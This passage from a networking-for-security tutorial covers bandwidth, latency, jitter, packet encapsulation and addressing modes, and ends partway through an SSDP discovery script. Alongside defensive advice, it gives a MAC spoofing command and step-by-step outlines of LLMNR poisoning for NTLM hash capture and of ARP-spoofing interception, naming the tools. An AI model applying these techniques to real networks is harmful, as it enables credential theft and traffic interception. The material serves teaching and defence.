&lt;li&gt;Physical medium quality&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Security Relevance of Bandwidth:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DDoS characterisation:&lt;/strong&gt; A volumetric DDoS attack aims to exhaust bandwidth. If a target's link is 10 Gbps and the attacker sends 50 Gbps, the link is saturated — legitimate traffic is crowded out. Modern DDoS attacks have reached 3.47 Tbps (Microsoft Azure, November 2021).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Exfiltration detection:&lt;/strong&gt; A workstation that normally transfers 100 MB/day suddenly transferring 50 GB overnight is an anomaly. Baseline bandwidth monitoring makes this detectable. Tools like NetFlow and IPFIX collect per-flow bandwidth statistics that enable exactly this type of detection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;C2 traffic blending:&lt;/strong&gt; Sophisticated attackers design C2 (command and control) communication to blend with baseline traffic. They beacon at irregular intervals, keep bandwidth low, and mimic the size patterns of legitimate traffic (mimicking HTTPS web browsing, for example). Understanding baseline bandwidth is what makes abnormal traffic visible.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OT/ICS critical point:&lt;/strong&gt; Industrial control networks are engineered for specific, low bandwidth and extremely low latency. A Modbus poll from an HMI to a PLC might transfer only 12 bytes. If that link suddenly shows kilobytes or megabytes of traffic, something is wrong — either an attack is in progress, a misconfigured device is broadcasting, or malware is active. Bandwidth anomalies in OT networks are extremely significant.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.3 Latency — The Speed of Information
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Definition:&lt;/strong&gt; The time it takes for data to travel from source to destination. Also called round-trip time (RTT) when measuring the time for a packet to travel to a destination and back.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Latency components — where the delay comes from:

Propagation delay:   Physical travel time through the medium
                     Light in fibre: 200,000 km/s (~2/3 speed of light)
                     1000 km distance → ~5ms one-way propagation

Transmission delay:  Time to push all bits of a packet onto the link
                     1500-byte packet on 1 Gbps link = 12,000 bits / 1,000,000,000 bps = 0.012ms

Processing delay:    Time for routers/switches to process the packet header
                     Modern routers: microseconds

Queuing delay:       Time spent waiting in router buffers during congestion
                     Highly variable — the main source of variable latency

Total RTT = 2 × (propagation + transmission + processing) + queuing
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Real-world latency examples:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Ping within the same LAN:          &amp;lt; 1ms
Ping to server in same city:       5-15ms
Ping Istanbul to Frankfurt:        ~30ms
Ping Istanbul to New York:         ~100ms
Ping Istanbul to Singapore:        ~180ms
Ping Istanbul to Sydney:           ~280ms
Ping to LEO satellite (Starlink):  20-40ms
Ping to GEO satellite:             ~600ms
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why latency matters to security:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Timing attacks:&lt;/strong&gt; Cryptographic side-channel attacks often exploit timing variations in cryptographic operations. If an operation takes slightly longer when a certain key bit is 1 vs 0, measuring response times across thousands of requests can reveal the key. TLS implementations are carefully designed to be constant-time for this reason.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Network reconnaissance:&lt;/strong&gt; Latency measurements reveal network topology. A host with 1ms ping is on the local network. A host with 30ms ping is regional. This tells an attacker whether a target is local infrastructure or remote. Traceroute maps the path, and latency at each hop reveals geographic boundaries.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;C2 beaconing detection:&lt;/strong&gt; Malware that beacons to a C2 server at regular intervals creates a detectable pattern in network timing. Statistical analysis of connection timing can identify beaconing even when the traffic volume and content are normal-looking. This is how network detection tools like Zeek identify malware that evades signature-based detection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OT/ICS critical point:&lt;/strong&gt; Real-time industrial control has strict latency requirements. IEC 61850 GOOSE messages (used for protection relay signalling in electrical substations) must be delivered within 4ms. If an attacker can introduce latency on an OT network — through a DoS attack, traffic injection, or network device compromise — the control system's real-time performance degrades. This is a form of cyber-physical attack where a network-level action causes physical consequences.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.4 Jitter — The Chaos in the Pipe
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Definition:&lt;/strong&gt; The variation in latency over time. Formally, jitter is the standard deviation of packet delay. If some packets take 10ms and others take 50ms, the jitter is high even if the average is acceptable.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Low jitter (stable):
Packet 1: 20ms
Packet 2: 21ms
Packet 3: 19ms
Packet 4: 20ms
Jitter: ~1ms ← Consistent, predictable

High jitter (unstable):
Packet 1: 10ms
Packet 2: 85ms
Packet 3: 12ms
Packet 4: 140ms
Jitter: ~55ms ← Unpredictable, problematic
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;What causes jitter:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Network congestion (packets queue in router buffers for varying amounts of time)&lt;/li&gt;
&lt;li&gt;Different routing paths (packets sometimes take different routes and arrive out of order)&lt;/li&gt;
&lt;li&gt;Physical layer interference (Wi-Fi especially, radio frequency interference causes variable retransmissions)&lt;/li&gt;
&lt;li&gt;CPU load on network devices&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Why jitter matters for security:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;VoIP and video — the obvious case:&lt;/strong&gt; High jitter makes voice and video communication unintelligible. Voice data arrives out of order or with gaps. A jitter buffer compensates by reordering and smoothing, but it adds latency. VoIP over Wi-Fi is particularly susceptible.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Jitter-based DDoS:&lt;/strong&gt; Some DoS attacks deliberately introduce jitter rather than dropping traffic. The connection stays up but becomes unusable. This is harder to detect than packet loss because the link appears operational.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Network forensics:&lt;/strong&gt; Unusual jitter patterns can indicate active attacks. A man-in-the-middle attack introduces processing delay at the intercept point. An attacker modifying packets in transit adds a small but measurable delay. High-resolution packet capture timing analysis can detect these anomalies — this is one of the techniques used in intrusion detection at the network level.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OT critical:&lt;/strong&gt; PROFINET, EtherNet/IP, and other industrial Ethernet protocols have jitter requirements measured in microseconds. High jitter on an OT network causes missed control cycles, which manifests as physical process instability. A targeted jitter-inducing attack on an industrial network can cause a controlled process to become erratic or fail without any obviously "malicious" network traffic.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.5 Measuring Performance — The Tools
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Measure latency — ICMP ping&lt;/span&gt;
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 10 8.8.8.8          &lt;span class="c"&gt;# 10 packets to Google DNS&lt;/span&gt;
&lt;span class="c"&gt;# Output shows: min/avg/max/stddev — that stddev IS jitter&lt;/span&gt;

&lt;span class="c"&gt;# Measure path latency — traceroute&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-n&lt;/span&gt; 8.8.8.8       &lt;span class="c"&gt;# -n = no DNS resolution (faster)&lt;/span&gt;
&lt;span class="c"&gt;# Each hop shows latency — latency that jumps suddenly indicates congestion point&lt;/span&gt;

&lt;span class="c"&gt;# Measure bandwidth — iperf3 (requires server at destination)&lt;/span&gt;
&lt;span class="c"&gt;# On server:&lt;/span&gt;
iperf3 &lt;span class="nt"&gt;-s&lt;/span&gt;
&lt;span class="c"&gt;# On client:&lt;/span&gt;
iperf3 &lt;span class="nt"&gt;-c&lt;/span&gt; server_ip &lt;span class="nt"&gt;-t&lt;/span&gt; 30   &lt;span class="c"&gt;# 30-second bandwidth test&lt;/span&gt;
iperf3 &lt;span class="nt"&gt;-c&lt;/span&gt; server_ip &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; 100M  &lt;span class="c"&gt;# UDP test at 100 Mbps (tests jitter too)&lt;/span&gt;

&lt;span class="c"&gt;# Monitor real-time bandwidth per interface&lt;/span&gt;
iftop                        &lt;span class="c"&gt;# Interactive bandwidth monitor per connection&lt;/span&gt;
nethogs                      &lt;span class="c"&gt;# Bandwidth per process&lt;/span&gt;
bmon                         &lt;span class="c"&gt;# Interface bandwidth statistics&lt;/span&gt;

&lt;span class="c"&gt;# Measure DNS latency&lt;/span&gt;
dig @8.8.8.8 google.com      &lt;span class="c"&gt;# Query specific DNS server&lt;/span&gt;
&lt;span class="c"&gt;# Look for "Query time:" in output&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  6. Packets and Frames — How Data Travels
&lt;/h2&gt;

&lt;h3&gt;
  
  
  6.1 The Encapsulation Model
&lt;/h3&gt;

&lt;p&gt;Data does not travel across networks as a single, continuous stream. It is broken into discrete units and wrapped in layers of headers — this is called &lt;strong&gt;encapsulation&lt;/strong&gt;. Each layer adds its own header (and sometimes trailer) containing information relevant to that layer's function.&lt;/p&gt;

&lt;p&gt;Understanding encapsulation is not academic — every time you analyse a packet capture in Wireshark, you are looking at these layers. Every time you write a network detection rule, you specify which layer and which field you are inspecting. Every network attack targets specific fields in specific headers.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Application layer produces: "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n"

Transport layer adds TCP header:
[Source Port: 54321 | Dest Port: 80 | Seq: 100 | Ack: 0 | Flags: SYN | ...]
[Application Data: GET / HTTP/1.1...]
→ This unit is called a SEGMENT

Network layer adds IP header:
[Version: 4 | IHL | TOS | Total Length | ID | Flags | TTL: 64 | Proto: 6 | Checksum | Src: 192.168.1.5 | Dst: 93.184.216.34]
[TCP Segment]
→ This unit is called a PACKET

Data Link layer adds Ethernet header + trailer:
[Dst MAC: AA:BB:CC:DD:EE:FF | Src MAC: 11:22:33:44:55:66 | EtherType: 0x0800]
[IP Packet]
[FCS Trailer: checksum]
→ This unit is called a FRAME
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The terminology matters:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Frame&lt;/strong&gt; — Layer 2 unit, contains MAC addresses, travels between adjacent network nodes&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Packet&lt;/strong&gt; — Layer 3 unit, contains IP addresses, routed across networks&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Segment&lt;/strong&gt; (TCP) / &lt;strong&gt;Datagram&lt;/strong&gt; (UDP) — Layer 4 unit, contains port numbers, addresses applications&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  6.2 Frames — The Layer 2 Unit
&lt;/h3&gt;

&lt;p&gt;A frame is the unit of data at the Data Link layer. It contains everything needed to move data between two directly connected devices on the same network segment.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ethernet Frame Structure:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌───────────────────────────────────────────────────────────────────────┐
│ Preamble │ Dest MAC │ Src MAC │ EtherType │ Payload (46-1500 bytes) │ FCS │
│  7 bytes │ 6 bytes  │ 6 bytes │  2 bytes  │                         │ 4B  │
└───────────────────────────────────────────────────────────────────────┘

Preamble: 7 bytes of alternating 1s and 0s to synchronise receiver clock
Dest MAC: 6-byte MAC address of destination (or FF:FF:FF:FF:FF:FF for broadcast)
Src MAC:  6-byte MAC address of sender
EtherType: What protocol is in the payload (0x0800=IPv4, 0x0806=ARP, 0x86DD=IPv6)
Payload:  The IP packet (or ARP message, etc.)
FCS:      Frame Check Sequence — CRC32 checksum to detect transmission errors
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Maximum Transmission Unit (MTU):&lt;/strong&gt;&lt;br&gt;
The MTU is the maximum payload size a frame can carry. Standard Ethernet MTU is &lt;strong&gt;1500 bytes&lt;/strong&gt;. This is why packets larger than 1500 bytes must be fragmented — split into multiple packets that are individually framed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Jumbo frames&lt;/strong&gt; (up to 9000 bytes payload) are used in data centre environments for performance — fewer frames = less header overhead = more efficient bandwidth use.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Security implication of MTU:&lt;/strong&gt;&lt;br&gt;
IP fragmentation is a classic attack vector. Fragmentation offsets in IP headers can be crafted to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Evade intrusion detection systems that only inspect the first fragment&lt;/li&gt;
&lt;li&gt;Cause denial of service through fragment buffer exhaustion (Teardrop attack)&lt;/li&gt;
&lt;li&gt;Bypass firewall rules that do not reassemble fragments before inspection&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Modern firewalls perform fragment reassembly before inspection, but legacy systems and some embedded OT devices still don't.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MAC Addresses — 48 bits of identity:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MAC address: AA:BB:CC:DD:EE:FF
             ─────────────── ──────────
             OUI (24 bits)   Device ID (24 bits)
             Manufacturer    Specific device

OUI examples:
00:50:56 → VMware
00:0C:29 → VMware (alternative)
3C:22:FB → Apple
DC:A6:32 → Raspberry Pi
00:1A:11 → Google
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;MAC addresses in security:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;MAC addresses are only meaningful within the same Layer 2 network segment — they are replaced at each router hop&lt;/li&gt;
&lt;li&gt;MAC address spoofing is trivial: &lt;code&gt;ip link set eth0 address AA:BB:CC:DD:EE:FF&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;MAC filtering on Wi-Fi networks provides essentially no security — attackers sniff the network, identify an allowed MAC, and spoof it&lt;/li&gt;
&lt;li&gt;MAC addresses are used for device tracking in Wi-Fi networks — modern operating systems randomise MAC addresses for probe requests specifically to prevent this&lt;/li&gt;
&lt;li&gt;In forensics, MAC addresses in captured traffic reveal manufacturer and sometimes device model, which is useful for asset identification&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  6.3 Packets — The Layer 3 Unit
&lt;/h3&gt;

&lt;p&gt;A packet is the unit of data at the Network layer. It contains the addressing information needed to route data across multiple networks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;IPv4 Packet Header:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
├─────────┬─────────┬──────────────────┬──────────────────────────┤
│ Version │   IHL   │ Type of Service  │       Total Length       │
│  4 bits │  4 bits │     8 bits       │         16 bits          │
├────────────────────┬───┬───┬─────────┴──────────────────────────┤
│   Identification   │ R │DF │MF│      Fragment Offset            │
│      16 bits       │   │   │  │          13 bits                │
├────────────────────┴───┴───┴─┬──────────────┬───────────────────┤
│   Time to Live (TTL)         │   Protocol   │  Header Checksum  │
│         8 bits               │    8 bits    │     16 bits       │
├──────────────────────────────┴──────────────┴───────────────────┤
│                    Source IP Address (32 bits)                   │
├─────────────────────────────────────────────────────────────────┤
│                  Destination IP Address (32 bits)               │
├─────────────────────────────────────────────────────────────────┤
│                    Options (variable) + Padding                  │
├─────────────────────────────────────────────────────────────────┤
│                    Data (payload)                                │
└─────────────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Critical fields for security:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TTL (Time to Live):&lt;/strong&gt;&lt;br&gt;
Each router that forwards a packet decrements TTL by 1. When TTL reaches 0, the packet is dropped and an ICMP "Time Exceeded" message is sent back to the sender. This prevents packets from circulating forever on misconfigured networks.&lt;/p&gt;

&lt;p&gt;TTL fingerprinting: Different operating systems start with different default TTLs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Linux:   64
Windows: 128
Cisco:   255
macOS:   64

If you receive a packet with TTL=115, and Windows starts at 128:
128 - 115 = 13 hops away, likely a Windows machine
This is used in OS fingerprinting — nmap uses TTL as one signal
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Protocol field:&lt;/strong&gt;&lt;br&gt;
Identifies the Layer 4 protocol: 6 = TCP, 17 = UDP, 1 = ICMP, 89 = OSPF, 50 = ESP (IPSec), 51 = AH (IPSec).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;IP Spoofing:&lt;/strong&gt;&lt;br&gt;
The source IP field in a packet is set by the sender. There is no built-in verification. An attacker can craft packets with any source IP — this is IP spoofing. Limitations:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Replies go to the spoofed address, not the attacker — so TCP (which requires a handshake) is generally not useful with spoofed IPs&lt;/li&gt;
&lt;li&gt;UDP-based attacks can use spoofed IPs effectively — amplification DDoS attacks (DNS amplification, NTP amplification) work exactly this way&lt;/li&gt;
&lt;li&gt;BCP38 (network ingress filtering) is an ISP-level best practice that drops packets with source IPs that are not routable from the customer's network — but not all ISPs implement it&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  6.4 Why Encapsulation Creates Security Complexity
&lt;/h3&gt;

&lt;p&gt;Each encapsulation layer has its own header that can be:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Inspected&lt;/strong&gt; — for analysis, detection, and filtering&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Manipulated&lt;/strong&gt; — for spoofing, evasion, and attack&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tunnelled&lt;/strong&gt; — one protocol can carry another (GRE tunnels IP, IP-in-IP, DNS tunnelling carries any data in DNS queries)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Tunnel within tunnel attacks bypass security controls by hiding inner protocol traffic:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Legitimate: [Ethernet][IP][TCP][HTTP][Payload]
Tunnelled:  [Ethernet][IP][UDP][DNS][Encoded C2 commands]

DNS is allowed through most firewalls.
An attacker who encodes C2 traffic as DNS queries bypasses firewall rules
that block direct TCP connections to attacker infrastructure.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is why deep packet inspection (DPI) — which inspects all layers, including decrypting and inspecting TLS traffic — is a feature of modern security appliances. Perimeter security that only looks at IP addresses and ports is fundamentally blind to a significant portion of modern attack techniques.&lt;/p&gt;




&lt;h2&gt;
  
  
  7. Unicast, Multicast, Broadcast — Addressing Modes
&lt;/h2&gt;

&lt;h3&gt;
  
  
  7.1 The Fundamental Question: Who Receives This?
&lt;/h3&gt;

&lt;p&gt;When a device sends data on a network, the addressing mode determines who receives it. This has direct security implications — some attacks work by abusing these addressing modes.&lt;/p&gt;

&lt;h3&gt;
  
  
  7.2 Unicast — One to One
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[Device A] ──────────────────────────────→ [Device B]
           (Only Device B receives this)

Example: Your browser loading a web page
         192.168.1.5 → 93.184.216.34 (example.com)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Unicast is the dominant mode for all normal application traffic — web, email, file transfer, SSH, video calls. The destination is a single specific device identified by its MAC address (Layer 2) or IP address (Layer 3).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Security characteristics:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Unicast traffic is "private" in the sense that only the intended recipient's NIC is supposed to process it&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;But:&lt;/strong&gt; On shared media (Wi-Fi, old hub-based networks), all devices receive all frames — NICs normally discard frames not addressed to them&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Promiscuous mode:&lt;/strong&gt; A NIC can be configured to capture ALL frames, not just those addressed to it. This is how packet sniffers (Wireshark, tcpdump) work. On a Wi-Fi network, anyone nearby with a card in monitor mode can capture your unicast traffic. On a switched Ethernet network, this requires ARP poisoning to redirect traffic through the attacker.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  7.3 Broadcast — One to All
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[Device A] ──────────────────────────────→ [Device B]
                                         → [Device C]
                                         → [Device D]
                                         → [ALL devices in the broadcast domain]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Layer 2 Broadcast:&lt;/strong&gt; Destination MAC = &lt;code&gt;FF:FF:FF:FF:FF:FF&lt;/code&gt;. Every device on the same Layer 2 segment receives and processes this frame.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 3 Broadcast:&lt;/strong&gt; Destination IP = &lt;code&gt;255.255.255.255&lt;/code&gt; (limited broadcast, stays on local subnet) or &lt;code&gt;192.168.1.255&lt;/code&gt; (directed broadcast for 192.168.1.0/24 subnet).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Protocols that use broadcast:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;ARP (Address Resolution Protocol):&lt;/strong&gt; "Who has IP 192.168.1.1? Tell 192.168.1.5" — broadcast because the destination MAC is not yet known&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DHCP Discovery:&lt;/strong&gt; "I need an IP address" — broadcast because the client doesn't know the DHCP server's address&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;NetBIOS Name Service:&lt;/strong&gt; Legacy Windows name resolution — this is what LLMNR/NBT-NS poisoning attacks target&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OSPF Hello packets:&lt;/strong&gt; Routing protocol neighbour discovery&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Broadcast domains:&lt;/strong&gt;&lt;br&gt;
Every Layer 2 network segment is a broadcast domain — all devices in it receive all broadcasts. Routers do NOT forward broadcasts — they create boundaries between broadcast domains. This is why segmenting a large flat network with VLANs reduces broadcast traffic and limits the scope of broadcast-based attacks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Security attacks leveraging broadcast:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;LLMNR/NBT-NS Poisoning (Responder):&lt;/strong&gt;&lt;br&gt;
This is one of the most common and effective attacks in Active Directory environments, and it exploits broadcast-based name resolution.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attack sequence:
1. User types: \\fileserver (but mistyped — server doesn't exist)
2. Windows tries: DNS → fails
3. Windows tries: LLMNR broadcast → "Who is 'fileserver'?"
4. All machines on the subnet receive this broadcast
5. Attacker's machine (running Responder) answers: "I am fileserver!"
6. Windows sends NTLM authentication to attacker
7. Attacker captures NTLMv2 hash
8. Hash cracked offline or used in relay attack

This requires NO prior access — just being on the same network segment.
This is why guest Wi-Fi must be isolated from corporate networks.
LLMNR and NBT-NS should be disabled in secure environments.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Smurf Attack (historical but important):&lt;/strong&gt;&lt;br&gt;
Send ICMP echo requests with spoofed source IP (victim's IP) to network broadcast address. All devices on the network reply to the victim. Amplification ratio = number of hosts on network.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ARP Spoofing/Poisoning (uses broadcast):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. Attacker broadcasts ARP reply: "192.168.1.1 (gateway) is at MY_MAC"
2. All devices update their ARP cache with the false mapping
3. Traffic destined for the gateway now goes to attacker
4. Attacker forwards traffic to real gateway (transparent MITM)
5. Attacker can read, modify, or drop all traffic

Tools: arpspoof (dsniff), ettercap, Bettercap
Detection: Static ARP entries, ARP inspection on switches, anomaly detection
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.4 Multicast — One to Many (Specific Group)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[Device A] ──────────────────────────────→ [Device B]  ← subscribed
                                         → [Device D]  ← subscribed
                                           [Device C]  ← NOT subscribed (ignores)
                                           [Device E]  ← NOT subscribed (ignores)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Multicast sends to a specific group of interested recipients — not all devices, not just one. Devices must subscribe to multicast groups to receive them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Multicast addresses:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Layer 3: IPv4 Class D range: &lt;code&gt;224.0.0.0&lt;/code&gt; to &lt;code&gt;239.255.255.255&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Layer 2: MAC addresses starting with &lt;code&gt;01:00:5E&lt;/code&gt; (IPv4 multicast) or &lt;code&gt;33:33&lt;/code&gt; (IPv6 multicast)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Protocols using multicast:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;OSPF:&lt;/strong&gt; &lt;code&gt;224.0.0.5&lt;/code&gt; (all OSPF routers) and &lt;code&gt;224.0.0.6&lt;/code&gt; (OSPF designated routers)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;EIGRP:&lt;/strong&gt; &lt;code&gt;224.0.0.10&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PIM (Protocol Independent Multicast):&lt;/strong&gt; Routing protocol for multicast traffic&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;mDNS (Multicast DNS):&lt;/strong&gt; &lt;code&gt;224.0.0.251&lt;/code&gt; — used by Apple Bonjour, Chromecast, network printer discovery&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SSDP (Simple Service Discovery Protocol):&lt;/strong&gt; &lt;code&gt;239.255.255.250&lt;/code&gt; — used by UPnP&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Video streaming:&lt;/strong&gt; Live video distributed to multiple subscribers simultaneously&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;IEC 61850 GOOSE messages:&lt;/strong&gt; In electrical substations, GOOSE (Generic Object Oriented Substation Event) uses Ethernet multicast to distribute protection relay status to multiple subscribing devices&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Security relevance of multicast:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;mDNS and SSDP — Information Leakage:&lt;/strong&gt;&lt;br&gt;
mDNS and SSDP broadcasts reveal significant information about the network — device names, services, software versions. Attackers use tools like &lt;code&gt;avahi-browse&lt;/code&gt; and &lt;code&gt;miranda&lt;/code&gt; (UPnP exploitation) to enumerate these.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Discover mDNS services on network (passive — just listen)&lt;/span&gt;
avahi-browse &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt;

&lt;span class="c"&gt;# Discover SSDP services (UPnP)&lt;/span&gt;
python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"
import socket, time
msg = 'M-SEARCH * HTTP/1.1&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s2"&gt;HOST:239.255.255.250:1900&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s2"&gt;ST:ssdp:all&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s2"&gt;MAN:&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;ssdp:discover&lt;/span&gt;&lt;span class="se"&gt;\"\r\n&lt;/span&gt;&lt;span class="s2"&gt;MX:1&lt;/span&gt;&lt;span class="se"&gt;\r\n\r\n&lt;/span&gt;&lt;span class="s2"&gt;'
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(msg.encode(), ('239.255.255.250', 1900))
s.settimeout(3)
while True:
